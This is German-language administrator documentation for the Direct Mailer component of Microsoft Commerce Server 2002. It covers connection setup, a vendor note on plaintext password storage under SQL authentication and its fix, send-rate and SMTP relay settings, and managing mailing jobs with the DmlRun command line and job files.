    Wählen Sie die Datenbank auf dem Server aus | Wählen Sie den Namen der Datenbank aus, auf die Sie zugreifen möchten.
    Datenbankdatei als Datenbanknamen anfügen | Verwenden Sie diese Option nicht. Commerce Server 2002 bietet keine Unterstützung für Microsoft SQL Server 6.5 oder frühere Versionen.
  4. Klicken Sie auf Verbindung testen, um zu überprüfen, ob Sie die Server- und Datenbankinformationen richtig eingegeben haben, und klicken Sie dann zum Schließen der Verbindungsmeldung auf OK.
  5. Klicken Sie zum Schließen des Dialogfelds Datenverknüpfungseigenschaften auf OK.

    Im Dialogfeld Eigenschaften von Direct Mail on <Servername> wird auf der Registerkarte Verbindungszeichenfolgen im Feld Verbindungszeichenfolgen in dieser Ressource die Verbindungszeichenfolge angezeigt.

  6. Klicken Sie zum Schließen des Dialogfelds Eigenschaften von Direct Mail on <Servername> auf OK.


Sicherheitsrisiko: Verwenden der SQL-Authentifizierung für die globale Ressource für DirectMailer

Feedback zu dieser Seite senden Commerce Server 2002

Sicherheitsrisiko: Verwenden der SQL-Authentifizierung für die globale Ressource für Direct Mailer

Wenn Sie die globale Ressource für Direct Mailer für die Verwendung der SQL-Authentifizierung konfigurieren, werden Kennwörter beim Aufruf von Direct Mailer als Klartext gespeichert.

Sie können dies prüfen, indem Sie folgende Schritte durchführen:

  1. Konfigurieren Sie die globale Ressource für Direct Mailer für die Verwendung der SQL-Authentifizierung.
  2. Erstellen Sie mit Business Desk eine Direktsendungskampagne.
  3. Klicken Sie im Abschnitt Test der Seite mit der Kampagnendefinition auf Testnachricht versenden. Hierdurch wird der Direct Mailer-Dienst aufgerufen.
  4. Prüfen Sie die Datenbanktabelle lm_master_operations. Sie finden darin einen Eintrag, in dem das Kennwort als Klartext gespeichert ist und der ungefähr folgendermaßen aussieht:

Op_id Op_desc Op_list_destination

0B150E06-529D-4A39-97A3-B90DC9150E70 Exporting the list 'TEST1' to the SQL
table 'ML__0E388EAC_A155_459A_A94A_0FCCAE4B97F5_'
Provider=SQLOLEDB.1;Persist Security Info=True; Integrated Security='SSPI';Initial Catalog=DirectMailer;Data Source=TESTSERVER;Network
Library=dbmssocn;Use Procedure for Prepare=1;Auto Translate=True;Packet
Size=4096;Workstation ID=TESTSERVER;Use . . .

0DA26B3B-9163-4BFE-BD4F-F0AF872DFE30 Exporting the list 'mailingListTEST1'
to the SQL table 'ML__803B4C6E_4EC2_490F_B30C_8771E5AFCC10_'
Provider=SQLOLEDB.1;Integrated Security='SSPI';Persist
Security Info=True; Integrated Security='SSPI';Initial Catalog=DirectMailer;Data
Source=TESTSERVER;Network Library=dbmssocn;Use Procedure for
Prepare=1;Auto Translate=True;Packet Size=4096;Workstation . . .

Die Verbindungszeichenfolge der globalen Ressource für Direct Mailer wird im Klartextformat in der Datenbank gespeichert.

Verwenden der integrierten Sicherheit von Windows für die globale Ressource für Direct Mailer

Wenn Sie für die globale Ressource für Direct Mailer die integrierte Sicherheit von Windows verwenden, wird das Kennwort nicht in der Datenbank gespeichert.

Falls Sie jedoch von der SQL-Authentifizierung zur integrierten Sicherheit von Windows wechseln und das Kennwort nicht löschen, bleibt das Kennwort in der Verbindungszeichenfolge stehen und geht im Klartextformat in die Datenbank ein, obwohl es im Dialogfeld Eigenschaften von Direct Mailer deaktiviert ist

Sie müssen den Direct Mailer-Dienst neu starten, um das Kennwort aus der Datenbank zu löschen. Sie können dies im Fenster Dienste vornehmen oder in der Befehlszeile net stop dmlservice, net start dmlservice eingeben.

Durch Ausführen des Befehls IISReset wird das Kennwort nicht aus der Datenbank gelöscht.

Detaillierte Anweisungen zum Konfigurieren des Direct Mailer-Dienstes für die Verwendung der integrierten Sicherheit von Windows finden Sie unter Konfigurieren von Direct Mailer für in Windows integrierte Sicherheit.


Ändern der Geschwindigkeit von Direct Mailer

Direct Mailer wurde so entwickelt, dass Sie die Anzahl der stündlich verarbeiteten Nachrichten beschränken können, um eine Überlastung des Produktionsmailservers durch den Auftrag zu verhindern. Dazu ändern Sie die Eigenschaft Nachrichten pro Stunde, durch die bestimmt wird, wie viele Nachrichten Direct Mailer in einer Stunde verarbeitet. Wenn die Eigenschaft Nachrichten pro Stunde auf null (0) eingestellt wird, verarbeitet Direct Mailer die Nachrichten so schnell wie möglich.

So ändern Sie die Geschwindigkeit von Direct Mailer

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Direktsendung an <Name des SQL Server-Computers>, und klicken Sie dann auf Eigenschaften.
  2. Wählen Sie im Dialogfeld Eigenschaften die Option Nachrichten pro Stunde aus, und geben Sie im Feld Ausgewählter Eigenschaftswert die Anzahl von Nachrichten pro Stunde ein, die Direct Mailer versenden soll.

    Wenn Sie Ausgewählter Eigenschaftswert auf null (0) einstellen, verarbeitet Direct Mailer Nachrichten mit höchstmöglichem Durchsatz.

  3. Klicken Sie auf OK.
  4. Starten Sie Direct Mailer neu. Informationen zum erneuten Starten von Direct Mailer finden Sie unter Erneutes Starten von Direct Mailer.

Die neue Einstellung wird unmittelbar auf alle Direct Mailer-Aufträge angewendet.

Neben der Eigenschaft Nachrichten pro Stunde gibt es noch andere Faktoren, die die Geschwindigkeit bestimmen, mit der Direct Mailer Nachrichten verarbeitet. Zum Beispiel:

  • Die Leistungsfähigkeit von Direct Mailer ist von Collaboration Data Objects (CDO oder Kollaborationsdatenobjekte) für Microsoft Windows 2000 abhängig.
  • Direct Mailer berechnet basierend auf der Gesamtleistung und den Drosselungseinstellungen den Verzögerungswert für jede Pipelineschleife.
  • Die Leistungsfähigkeit von Direct Mailer ist stark von der Leistung des Simple Mail Transfer Protocol-Servers (SMTP oder einfaches E-Mail-Übertragungsprotokoll) und den entsprechenden Drosselungsanforderungen abhängig.


Verwenden von mehreren Übermittlungspfaden

Direct Mailer verwendet für jede Auftragsausführung dieselbe Liste von Übermittlungspfaden, auch wenn die Verwendung mehrerer Übermittlungspfade, wie Ablageverzeichnisse oder SMTP-Server (Simple Mail Transfer Protocol), konfiguriert ist. Direct Mailer liest die Liste der Übermittlungspfade aus der Verwaltungsdatenbank und wird anhand des Commerce Server-Managers verwaltet.

Wenn die Eigenschaft Übermittlungsmethode auf 2 eingestellt ist, behandelt Direct Mailer jeden Eintrag in der Liste als vollständige Pfadangabe zum Abholverzeichnis des SMTP-Servers. Wenn die Eigenschaft Übermittlungsmethode auf (1) eingestellt ist, muss in Direct Mailer für alle Einträge in der Liste das folgende Format verwendet werden:

<SMTP server address>[: port]

Die Angabe des Ports ist optional. Wenn keine Angabe gemacht wird, verwendet Direct Mailer Port 25.

Wenn ein Direct Mailer-Auftrag gestartet wird, verwendet der erste Empfänger in der Direktsendungsliste den ersten Übermittlungspfad. Der nächste Empfänger verwendet den nächsten Übermittlungspfad. Der Übermittlungsprozess wird wiederholt, bis keine neuen Übermittlungspfade mehr zur Verfügung stehen. In diesem Fall werden die Übermittlungspfade bis hin zum ersten Pfad wieder verwendet.

Wenn beim Versenden ein Fehler auftritt, versucht Direct Mailer nicht, einen anderen Pfad zu verwenden oder Timeout- oder Verfügbarkeitstests durchzuführen. Daher können die einzelnen Empfänger nur die ihnen zugewiesenen Übermittlungspfade verwenden. Direct Mailer zeichnet die Fehler in einem DirectMailer-Datenbankcluster bzw. am Ablageort (SMTP oder Ablageverzeichnis) auf. Weitere Informationen über die Verfügbarkeit von Direct Mailer und Ausfälle eines DirectMailer-Datenbankclusters finden Sie unter Verfügbarkeit von Direct Mailer.

So verwenden Sie mehrere Übermittlungspfade

So konfigurieren Sie einen SMTP-Server für Direct Mailer

So verwenden Sie mehrere Übermittlungspfade

  1. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Direct Mailer, und klicken Sie dann auf Eigenschaften.
  2. Wählen Sie im Dialogfeld Eigenschaften die Option Übermittlungspfade aus, und geben Sie im Feld Ausgewählter Eigenschaftswert den vollständigen Pfad zum Ablageverzeichnis bzw. zum SMTP-Server ein. UNC-Pfade (Pfade gemäß der Universal Naming Convention oder universellen Namenskonvention) werden nicht unterstützt.
Zur Angabe von mehreren Übermittlungspfaden müssen die einzelnen Pfade durch Kommas oder Semikolons abgetrennt werden. Das Komma und das Semikolon sind die einzigen Trennzeichen, die zur Abtrennung von verschiedenen Pfaden verwendet werden können.
  1. Wählen Sie Übermittlungsmethode aus, und geben Sie im Feld Ausgewählter Eigenschaftswert den Wert 2 für eine Übertragung der Sendungen in ein Ablageverzeichnis oder den Wert 1 für eine Übertragung der Sendungen an einen SMTP-Server ein.
  2. Klicken Sie auf OK.

Die neue Einstellung wird unmittelbar auf alle Direct Mailer-Aufträge angewendet.

So konfigurieren Sie einen SMTP-Server für Direct Mailer

In den folgenden Anleitungsschritten wird erläutert, wie ein SMTP-Server so konfiguriert wird, dass er für das restliche System als Relayserver fungiert.

So konfigurieren Sie SMTP-Server als lokale Relayserver

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Erweitern Sie im Fenster Internet-Informationsdienste den Servernamen, klicken Sie mit der rechten Maustaste auf Virtueller Standardserver für SMTP, und klicken Sie dann auf Eigenschaften.
  3. Klicken Sie im Dialogfeld Eigenschaften von Virtueller Standardserver für SMTP auf die Registerkarte Zugriff, und wählen Sie dann die Option Relay.
  4. Klicken Sie im Dialogfeld Relayeinschränkungen auf Hinzufügen.
  5. Klicken Sie im Dialogfeld Computer auf Mehrere Computer, und geben Sie dann im Feld Subnetzadresse die Subnetzadresse für den SMTP-Server ein. Geben Sie im Feld Subnetzmaske die Adresse der Subnetzmaske für den SMTP-Server ein, und klicken Sie anschließend auf OK.
  6. Klicken Sie im Dialogfeld Relayeinschränkungen auf OK.
  7. Klicken Sie im Fenster Eigenschaften von Virtueller Standardserver für SMTP auf OK.

Damit ist der SMTP-Server für die Verwendung von Direct Mailer konfiguriert.

Hinweis

  • Weitere Informationen zu Firewalls und Anschlüssen für einen SMTP-Server finden Sie unter "Bereitstellen einer sicheren Site".


Erneutes Starten von Direct Mailer

Sie können Direct Mailer entweder von der Befehlszeilenschnittstelle aus oder über die Verwaltungstools neu starten.

So starten Sie Direct Mailer von der Befehlszeilenschnittstelle aus neu

So starten Sie Direct Mailer vom Modul "Dienste" aus neu

So starten Sie Direct Mailer von der Befehlszeilenschnittstelle aus neu

  1. Geben Sie in der Befehlszeile die folgende Zeichenfolge ein: net stop dmlservice
  2. Wenn der Dienst beendet wurde, geben Sie den folgenden Befehl ein: net start dmlservice

So starten Sie Direct Mailer vom Modul "Dienste" aus neu

  1. Öffnen Sie das Modul Dienste über das Menü Start. Klicken Sie auf Start, zeigen Sie auf Programme und dann auf Verwaltung, und klicken Sie anschließend auf Dienste.
  2. Klicken Sie im Fenster Dienste im rechten Fensterbereich mit der rechten Maustaste auf Commerce Server Direct Mailer, und wählen Sie Neu starten.

Siehe auch

Ändern der Geschwindigkeit von Direct Mailer

Verwenden von mehreren Übermittlungspfaden


Überwachen von DirectMailer-Aufträgen

Feedback zu dieser Seite senden Commerce Server 2002

Überwachen von Direct Mailer-Aufträgen

Sie können den Status Ihrer Direct Mailer-Aufträge überprüfen, um festzustellen, ob ein bestimmter Auftrag gegenwärtig ausgeführt wird, angehalten bzw. beendet wurde oder ob die Ausführung erfolgreich abgeschlossen ist. Sie können den Status Ihrer Direct Mailer-Aufträge unter Verwendung der Befehlszeilenschnittstelle anzeigen lassen. Sie können auch prüfen, ob bei der Ausführung der Direct Mailer-Aufträge Fehler aufgetreten sind.

So zeigen Sie den Status von Direct Mailer-Aufträgen über die Befehlszeilenschnittstelle an

So zeigen Sie Fehler bei Direct Mailer-Aufträgen an

So zeigen Sie den Status von Direct Mailer-Aufträgen über die Befehlszeilenschnittstelle an

  • Geben Sie in der Befehlszeile DmlRun /list ein, um eine Liste aller Direct Mailer-Aufträge anzuzeigen.

Die Liste der Direct Mailer-Aufträge wird angezeigt.

Für jeden Direct Mailer-Auftrag werden die folgenden Informationen angezeigt:

  • Auftragsidentifizierungsnummer
  • Auftragsstatus
  • Auftragsbeschreibung
  • Sitename
  • Identifizierungsnummer für den Kampagnenartikel
  • Name des Kampagnenartikels

Hinweis

  • Der Sitename, die Identifizierungsnummer für den Kampagnenartikel und der Name des Kampagnenartikels werden nur angezeigt, wenn diese Informationen für den Direct Mailer-Auftrag vorhanden sind.

In der folgenden Tabelle finden Sie eine Liste der Auftragsstatuscodes.

Code | Beschreibung
0 | Der Auftrag wurde erstellt, aber noch nicht initialisiert.
1 | Der Auftrag wurde vollständig definiert, wird aber nicht ausgeführt (Inaktiv), oder er wurde beendet.
2 | Der Auftrag ist abgeschlossen.
3 | Der Auftrag wird ausgeführt (Aktiv).
4 | Der Auftrag wird ausgeführt, wurde aber vorübergehend angehalten (angehalten, aber noch Aktiv).
-2 | Der Auftrag wurde von Direct Mailer angehalten, da schwer wiegende Probleme aufgetreten sind oder der Grenzwert für die Fehlerschwelle erreicht wurde.
-3 | Der Auftrag wurde als css_site definiert, bei Laufzeit standen jedoch nicht alle Daten zur Verfügung.

So zeigen Sie Fehler bei Direct Mailer-Aufträgen an

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie in SQL Server Enterprise Manager erst Microsoft SQL Server, dann die SQL Server-Gruppe und anschließend den Namen des Datenbankservers, der die Direct Mailer-Datenbank enthält.
  3. Erweitern Sie Direct Mailer, und wählen Sie Tabellen aus. Klicken Sie dann mit der rechten Maustaste auf dml_job_errors, zeigen Sie auf Tabelle öffnen, und wählen Sie dann Alle Zeilen zurückgeben aus.

Die in Direct Mailer-Aufträgen ggf. aufgetretenen Fehler werden in der Tabelle aufgelistet.


Anhalten, Beenden und Löschen von Direct Mailer-Aufträgen

Sie können Direct Mailer-Aufträge jederzeit anhalten. Wenn Sie einen Direct Mailer-Auftrag anhalten, unterbricht Direct Mailer die Verarbeitung der Empfängerliste. Der Vorgang kann jedoch zu einem späteren Zeitpunkt fortgesetzt werden. Der Auftragsstatus bleibt im Status "Angehalten" (4), bis der Auftrag neu gestartet wird. Direct Mailer registriert den Empfänger, der als nächstes verarbeitet wird, damit der Auftrag, falls er unterbrochen wird, an der Stelle neu gestartet wird, an der er unterbrochen wurde. Bei einem Festplattenfehler oder Stromausfall wird die Verarbeitung nach dem Neustart ungefähr an derselben Stelle fortgesetzt, an der sie unterbrochen wurde. Die Verarbeitung beginnt also innerhalb von n ab der Unterbrechung, wobei n = Anzahl der in Direct Mailer konfigurierten Threads. Informationen zum erneuten Starten von Direct Mailer-Aufträgen finden Sie unter "Erneutes Starten von Direct Mailer-Aufträgen".

Sie können einen Direct Mailer-Auftrag während der Ausführung beenden. Sobald ein Direct Mailer-Auftrag beendet wurde, wird als Auftragsstatus "Inaktiv" (1) angezeigt. Beim erneuten Starten wird die Auftragsausführung an der Stelle fortgeführt, an der sie unterbrochen wurde.

Wenn die Verbindung zu SQL Server unterbrochen wird, versucht Direct Mailer, eine Verbindung zur Datenbank herzustellen: entweder, bis die Verbindung wieder aufgebaut werden konnte oder bis die festgelegte Anzahl der Wiederholungen abgelaufen ist. Wenn die konfigurierte Anzahl der Wiederholungen abgelaufen ist bzw. eine Datenbankverbindung hergestellt werden konnte, bleibt der Status "Wird ausgeführt" (3), da der Status in SQL nicht aktualisiert werden kann. Sobald SQL Server wieder verfügbar ist, kann der Auftrag oder Direct Mailer wieder gestartet werden. Informationen zum erneuten Starten von Direct Mailer finden Sie unter Erneutes Starten von Direct Mailer.

Sie können Direct Mailer-Aufträge löschen, wenn die Aufträge beendet, abgeschlossen oder fehlgeschlagen sind. Sie können einen Direct Mailer-Auftrag nicht während der Ausführung löschen. Wenn Sie einen Direct Mailer-Auftrag löschen, werden alle Informationen zu dem Auftrag in Direct Mailer gelöscht. Wenn Sie den Auftrag erneut ausführen möchten, müssen Sie ihn neu erstellen.

So halten Sie Direct Mailer-Aufträge von der Befehlszeilenschnittstelle aus an

So beenden Sie Direct Mailer-Aufträge von der Befehlszeilenschnittstelle aus

So löschen Sie Direct Mailer-Aufträge von der Befehlszeilenschnittstelle aus

Hinweis

  • Sie können Direct Mailer-Aufträge nur über die Befehlszeilenschnittstelle anhalten, beenden und löschen. Das Verwenden des Moduls für Kampagnen-Manager in Business Desk zum Anhalten, Beenden oder Löschen von Direct Mailer-Aufträgen ist nicht möglich.

So halten Sie Direct Mailer-Aufträge von der Befehlszeilenschnittstelle aus an

  1. Geben Sie in der Befehlszeile DmlRun /list ein, um eine Liste aller Direct Mailer-Aufträge anzeigen zu lassen.
  2. Notieren Sie sich die Auftrags-ID des Direct Mailer-Auftrags, den Sie anhalten möchten, und geben Sie dann Folgendes ein:

    DmlRun /pause:<jobID number>

    Der Direct Mailer-Auftrag wird angehalten.

So beenden Sie Direct Mailer-Aufträge von der Befehlszeilenschnittstelle aus

  1. Geben Sie in der Befehlszeile DmlRun /list ein, um eine Liste aller Direct Mailer-Aufträge anzeigen zu lassen.
  2. Notieren Sie sich die Auftrags-ID des Direct Mailer-Auftrags, den Sie beenden möchten, und geben Sie dann Folgendes ein:

    DmlRun /term:<jobID number>

    Der Direct Mailer-Auftrag wird beendet.

So löschen Sie Direct Mailer-Aufträge von der Befehlszeilenschnittstelle aus

  1. Geben Sie in der Befehlszeile DmlRun /list ein, um eine Liste aller Direct Mailer-Aufträge anzeigen zu lassen.
  2. Notieren Sie sich die Auftrags-ID des Direct Mailer-Auftrags, den Sie löschen möchten, und geben Sie dann Folgendes ein:

    DmlRun /delete:<jobID number>

Der Direct Mailer-Auftrag wird gelöscht.

Siehe auch

Löschen und Wiederherstellen eines Kampagnenartikels

Verwalten und Steuern von Direct Mailer-Aufträgen über die Befehlszeile

Erneutes Starten von Direct Mailer-Aufträgen

Anzeigen des Status von Direct Mailer-Aufträgen


Erneutes Starten von Direct Mailer-Aufträgen

Wenn ein Direct Mailer-Auftrag angehalten wird, bevor er vollständig ausgeführt wurde, wird der Auftragsstatus von Direct Mailer aktualisiert, um anzugeben, dass der Auftrag angehalten und somit nicht erfolgreich abgeschlossen wurde. Verwenden Sie den Befehl DmlRun /list von der Befehlszeilenschnittstelle aus, um den Direct Mailer-Auftrag anzeigen zu lassen. Um den Auftragsstatus automatisch in der Konsole wiedergeben zu lassen, verwenden Sie die Option /wait. Informationen zum Anzeigen des Status von Direct Mailer-Aufträgen finden Sie unter Überwachen von Direct Mailer-Aufträgen.

Wenn ein Direct Mailer-Computer deaktiviert wird (z. B. durch einen Festplattenfehler), werden alle auf diesem Computer ausgeführten Direct Mailer-Aufträge angehalten. Wenn ein Direct Mailer-Auftrag angehalten wird, bevor er vollständig verarbeitet wurde, müssen Sie den angehaltenen Auftrag neu starten. Nach dem erneuten Start des Auftrags wird dieser ungefähr an der Stelle fortgeführt, an der er unterbrochen wurde. Die Verarbeitung beginnt also innerhalb von n ab der Unterbrechung, wobei n = Anzahl der in Direct Mailer konfigurierten Threads.

So starten Sie Direct Mailer-Aufträge neu

  1. Geben Sie in der Befehlszeile DmlRun /list ein, um eine Liste aller Direct Mailer-Aufträge anzeigen zu lassen.
  2. Notieren Sie sich die Auftrags-ID des Direct Mailer-Auftrags, den Sie neu starten möchten, und geben Sie dann Folgendes ein:

    DmlRun /run:<jobID number>

Der Direct Mailer-Auftrag wird neu gestartet.

Siehe auch

Verwalten und Steuern von Direct Mailer-Aufträgen über die Befehlszeile


Ausführen von Direct Mailer im eigenständigen Modus

Der eigenständige Modus von Direct Mailer macht das Modul zu einer Plattformkomponente, die einfach in unternehmensspezifische Systeme integriert werden kann. Angenommen, die PR-Abteilung möchte Commerce Server-Analyseberichte per E-Mail erhalten. Bei dieser Verwendung werden die von der Anwendung an Direct Mailer übertragenen Daten ignoriert. Direct Mailer kann z. B. eine Datei mit einem Bericht des Typs Anzeigenplatzierung an eine Liste von PR-Mitarbeitern senden. Die Auftragsinformationen stammen in diesem Fall aus den Befehlszeilenparametern und einer Konfigurationsdatei.

Um Direct Mailer von der Befehlszeilenschnittstelle aus auszuführen, verwenden Sie die ausführbare Datei DmlRun zusammen mit Befehlszeilenoptionen. Sie können diese Optionen zum Durchführen verschiedener Tasks verwenden, z. B. zum Erstellen, Ausführen, Überwachen und Löschen von Direct Mailer-Aufträgen.

Hinweis

  • Zum Planen von Direktsendungskampagnen können Sie entweder das Modul "Kampagnen-Manager" in Business Desk verwenden oder manuelle Einstellungen im Windows-Taskplaner vornehmen. Der Windows-Taskplaner kann eine Batchdatei ausführen, die die Befehlszeilenschnittstelle verwendet.

Im Folgenden finden Sie eine Übersicht über die Schritte, die zum Einrichten und Ausführen von Direct Mailer im eigenständigen Modus befolgt werden müssen:

  1. Erstellen Sie den Nachrichteninhalt, der an die Empfänger gesendet werden soll. Erstellen Sie ggf. die Webseite bzw. die statische Datei, die den personalisierten Nachrichtentext zur Verfügung stellen soll.
  2. Geben Sie die Datenquelle für die Empfängerliste an.
  3. Erstellen Sie die Direct Mailer-Auftragsdatei.
  4. Erstellen Sie den Direct Mailer-Auftrag, indem Sie von der Befehlszeilenschnittstelle aus die Option /create verwenden.
  5. Führen Sie den eigenständigen Auftrag ausgehend von der Befehlszeile aus.


Erstellen von Direct Mailer-Auftragsdateien

Bevor Sie einen eigenständigen Direct Mailer-Auftrag erstellen können, müssen Sie eine Direct Mailer-Auftragsdatei erstellen, in der Informationen über den Auftrag gespeichert werden. Dazu gehören z. B. Angaben darüber, ob personalisierte Nachrichtentexte versendet werden sollen, aber auch Informationen zum Format des E-Mail-Nachrichtenkopfes und zum Speicherort der Empfängerliste.

Sie können die Auftragsdatei mit einem beliebigen Text-Editor erstellen. Die Auftragsdatei muss als Textdatei in einem Format vorliegen, das mit dem Format von Microsoft Windows-INI-Dateien kompatibel ist.

Fügen Sie der Auftragsdatei die folgenden Abschnitte hinzu:

  • Auftragsdatenabschnitt. Enthält die Schlüsselparameter für den Auftrag, wie z. B. die Datenquelle für den Inhalt, die Empfängerliste, den Nachrichtenformattyp, den Betreff und die Abonnementkündigungsliste.
  • Auftragsanlagenabschnitt. Dieser Abschnitt ist optional. Enthält die Anzahl und die Quelle der Anlagen.

Nach der Ausführung von Direct Mailer wird ein Ergebnisabschnitt in die Auftragsdatei geschrieben. Die Parameter im Ergebnisabschnitt sind JobID, ErrorCode und ErrorString. Wenn ein Auftrag erfolgreich abgeschlossen wird, werden die Auftrags-ID (JobID) sowie der Wert 0 für den Fehlercode (ErrorCode=0) in die Datei geschrieben. Wenn ein Auftrag fehlschlägt, werden die Auftrags-ID (JobID), die Fehlercodenummer (ErrorCode) und die Fehlerzeichenfolge (ErrorString) in die Datei geschrieben.

Auftragsdatenabschnitt

In der folgenden Tabelle sind die Parameter aufgeführt, die Sie für Auftragsdaten in der Auftragsdatei definieren können.

Parameter | Typ | Beschreibung
JobDesc | Zeichenfolge (128 max) | Optional. Geben Sie eine Beschreibung des Auftrags ein.
TemplateURL | Zeichenfolge (2084 max) | Optional. Geben Sie die E-Mail-Vorlagenquelle als Uniform Resource Locator (URL oder genormte Ressourcenangabe) an: http:// oder file:// Wenn Sie eine Flatfile als Vorlage verwenden, geben Sie einen vollständigen, serverzentrierten, lokalen Pfadnamen ein. UNC-Pfadnamen (Pfadnamen gemäß der Universal Naming Convention oder universellen Namenskonvention) werden unterstützt.
MailFrom | Zeichenfolge (256 max) | Erforderlich. Geben Sie im Feld Von den Absender der E-Mail an.
MailSubject | Zeichenfolge (256 max) | Optional. Geben Sie im Feld Betreff den Betreff der E-Mail an.
MailReplyTo | Zeichenfolge (256 max) | Optional. Geben Sie die E-Mail-Adresse an, an die Antworten gesendet werden sollen.
DefaultFmt Ganze Zahl Optional. Geben Sie das Standardnachrichtenformat für den zu versendenden Inhalt an.

1 = Nur Text
2 = Multipurpose Internet Mail Extensions (MIME)
3 = MIME Encapsulation of Aggregate HTML Documents (MHTML)
JobLocale | Zeichenfolge (255 max) | Optional. Geben Sie das Standardgebietsschema für den Auftrag an.
MailPersonalize Ganze Zahl Optional. Geben Sie an, ob Sie personalisierte Nachrichteninhalte versenden.

1 = Sie versenden personalisierte Nachrichteninhalte

0 = Sie versenden keine personalisierten Nachrichteninhalte

Hinweise

  • Die Angabe einer Nicht-Ganzzahl (d. h. eines oder mehrerer Zeichenwerte) entspricht der Angabe von MailPersonalize=0.
  • Die Angabe einer Ganzzahl, die ungleich null ist, entspricht der Angabe von MailPersonalize=1.
MailingListType Ganze Zahl Erforderlich. Geben Sie den Adressenlistentyp an.

1 = Flatfile
2 = Listen-Manager-Liste
3 = SQL Server-Abfrage
MailingListLocation Zeichenfolge (256 max) Erforderlich. Geben Sie den Speicherort der Adressenliste an.

Geben Sie bei Flatfiles den vollständigen, lokalen, serverzentrierten Pfadnamen ein. Geben Sie keine Schemapräfixe wie z. B. file:// an.

Geben Sie bei SQL Server-Abfragen die Verbindungszeichenfolge an.

Geben Sie bei Listen-Manager-Listen die Listenidentifizierungsnummer an.

UNC-Pfadnamen werden unterstützt.
MailingListSQL | Zeichenfolge (256 max) | Geben Sie die SQL-Anweisung an, von der aus gesendet werden soll. Wenn MailingListType = 3 festgelegt ist, ist ein Wert erforderlich. Anderenfalls wird der Wert ignoriert.
OptoutListType Ganze Zahl Optional. Geben Sie den Abonnementkündigungslistentyp an.

1 = Flatfile
2 = Listen-Manager-Liste
3 = SQL Server-Abfrage
OptoutListLocation Zeichenfolge (256 max) Optional. Nur erforderlich, wenn OptoutListType verwendet wird. Geben Sie den Speicherort der Abonnementkündigungsliste an.

Geben Sie bei Flatfiles den vollständigen, lokalen, serverzentrierten Pfadnamen an. Geben Sie keine Schemapräfixe wie z. B. file:// an.

Geben Sie bei SQL Server-Abfragen die Verbindungszeichenfolge an.

Geben Sie bei Listen-Manager-Listen die Listenidentifizierungsnummer an.

UNC-Pfadnamen werden unterstützt.
OptoutListSQL | Zeichenfolge (256 max) | Geben Sie die SQL-Anweisung an, von der aus Abonnements gekündigt werden sollen. Wenn OptoutListType = 3 festgelegt ist, ist ein Wert erforderlich. Anderenfalls wird der Wert ignoriert.
UserFlags | Ganze Zahl | Optional. Geben Sie alle mit dem Auftrag verknüpften benutzerdefinierten Flags an.

Auftragsanlagenabschnitt

In der folgenden Tabelle sind die Parameter aufgeführt, die Sie für Auftragsanlagen definieren können. Dieser Abschnitt der Auftragsdatei ist optional.

Parameter | Typ | Beschreibung
AttachmentCount | Ganze Zahl | Geben Sie die Anzahl der Anlagen mit einem Wert an, der größer als 0 ist.
Attachment_<N> | Zeichenfolge (2084 max) | Geben Sie den URL oder den Dateisystempfad für die Anlage <N> an, wobei N für eine Zahl zwischen 1 und dem Wert von AttachmentCount steht. Stellen Sie sicher, dass der URL ein Schemapräfix wie z. B. http:// oder file:// enthält. Geben Sie bei Dateianlagen den vollständigen, serverzentrierten Pfadnamen an. UNC-Pfadnamen werden unterstützt.

Ergebnisabschnitt

Nach der Ausführung von Direct Mailer wird ein Ergebnisabschnitt in die Auftragsdatei geschrieben. In der folgenden Tabelle sind die Parameter aufgeführt, die Direct Mailer in den Ergebnisabschnitt schreibt.

Parameter | Typ | Beschreibung
ErrorCode | HRESULT | 0 = Vorgang (Erstellen, Starten, Löschen usw.) wurde erfolgreich ausgeführt. Wenn der Vorgang nicht erfolgreich ausgeführt wurde, wird ein Fehlercode in die Datei geschrieben.
ErrorString | Zeichenfolge (256 max) | Wenn durch ErrorCode angegeben wird, dass der Auftrag nicht erfolgreich ausgeführt wurde, beschreibt dieser Parameter die Art des Fehlers. Anderenfalls bleibt dieses Feld leer.
JobID | GUID | Dieser Parameter gibt die neue Auftrags-ID an, die zum Starten, Beenden oder Verarbeiten dieses Auftrags verwendet werden kann.

Siehe auch

Abonnementkündigungslisten


Erstellen und Ausführen von Direct Mailer-Aufträgen

Wenn Sie eine Auftragsdatei erstellt haben, können Sie einen eigenständigen Direct Mailer-Auftrag einrichten. Um den Auftrag zu erstellen, verwenden Sie von der Befehlszeilenschnittstelle aus die Option /create.

So erstellen Sie einen eigenständigen Direct Mailer-Auftrag

  1. Geben Sie in der Befehlszeile die folgende Zeichenfolge ein:

    DmlRun /create:filename=<job file name>

    Geben Sie einen vollständigen Pfadnamen für die Auftragsdatei ein. Direct Mailer sucht die Auftragsdatei im aktuellen Verzeichnis, wenn kein Verzeichnis angegeben wird.

    Wenn die Parameter der Auftragsdatendatei nicht korrekt sind, schreibt Direct Mailer einen Fehlercode und eine Beschreibung des Fehlers in den Ergebnisabschnitt der Auftragsdatei.

    Der Direct Mailer-Auftrag wird erstellt.

  2. Um die Auftrags-ID anzeigen zu lassen, geben Sie Folgendes ein:

    DmlRun /list

  3. Um den Auftrag auszuführen, geben Sie Folgendes ein:

    DmlRun /run:<jobID number>

    Der Direct Mailer-Auftrag wird gestartet.

  4. Um einen Auftrag zu erstellen und zu starten, geben Sie Folgendes ein:

    DmlRun /create:filename=<job file name> /execute

    Der Direct Mailer-Auftrag wird erstellt und gestartet.

Siehe auch

Erstellen von Direct Mailer-Auftragsdateien

Verwalten und Steuern von Direct Mailer-Aufträgen über die Befehlszeile


Verwalten und Steuern von Direct Mailer-Aufträgen über die Befehlszeile

Sie können Direct Mailer-Aufträge über die Befehlszeilenschnittstelle verwalten, indem Sie die Win32-Konsolenanwendung DmlRun verwenden. Direct Mailer enthält einen Satz von Befehlszeilenoptionen, die Sie mit DmlRun verwenden können. Mit diesen Optionen können Sie Direct Mailer-Aufträge erstellen, ausführen, überwachen und löschen.

